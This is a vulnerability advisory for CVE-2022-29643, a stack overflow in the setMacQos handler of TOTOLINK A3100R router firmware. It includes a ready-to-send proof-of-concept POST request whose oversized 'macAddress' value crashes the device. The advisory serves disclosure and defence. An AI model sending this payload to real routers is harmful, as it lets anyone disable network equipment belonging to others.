Headline
CVE-2022-29643: IOT/6.md at master · shijin0925/IOT
TOTOLINK A3100R V4.1.2cu.5050_B20200504 and V4.1.2cu.5247_B20211129 were discovered to contain a stack overflow via the macAddress parameter in the function setMacQos. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted POST request.
firewall.so setMacQos stack buffer overflow****A3100R_Firmware
version:V4.1.2cu.5050_B20200504，V4.1.2cu.5247_B20211129
Description:
The setMacQos function in the firewall.so module does not filter the “macAddress” parameter, and a stack overflow occurs when strcpy or strcat is performed
Source:
you may download it from : https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/170/ids/36.html
Analyse:
The program reads a user inputed named “macAddress” in users’s POST request and uses the input immediately,without checking it’s length ,which can lead to buffer overflows bugs in the following strcat or strcpy function.
So by Posting proper data to topicurl:"setting/setMacQos",the attacker can easily perform a Deny of service Attack.
there is no webpage calling this function,but we can perform following request to call it.
POC
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 829
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/firewall/url_filtering.asp?timestamp=1650007602442
{"topicurl":"setting/setMacQos","priority":"1","addEffect":"0","macAddress":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}